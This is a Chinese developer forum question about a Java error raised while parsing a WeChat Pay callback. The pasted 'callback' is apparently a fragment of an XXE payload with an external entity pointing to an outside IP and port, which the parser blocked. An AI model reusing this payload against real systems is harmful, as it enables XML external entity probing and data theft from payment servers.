微信支付回调参数如下：

{"thirdPayPlatform":"wxpay","content":"http://101.91.62.170:4837/wx_xxe_dbc_os_2019071203_120?aHR0cHM6Ly9zeW5jYXBpLm1laXR1YW4uY29tL2NhbGxiYWNrL3d4L3BheU5vdGlmeQ==\">]>&xxe;"}

报错如下：

org.xml.sax.SAXParseException: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:257) ~[?:1.8.0_45]
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:348) ~[?:1.8.0_45]
	at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:121) ~[?:1.8.0_45]
	at com.github.wxpay.sdk.WXPayUtil.xmlToMap(WXPayUtil.java:43) ~[wxpay-sdk-0.0.6.jar:0.0.6]

请问这是什么原因呢？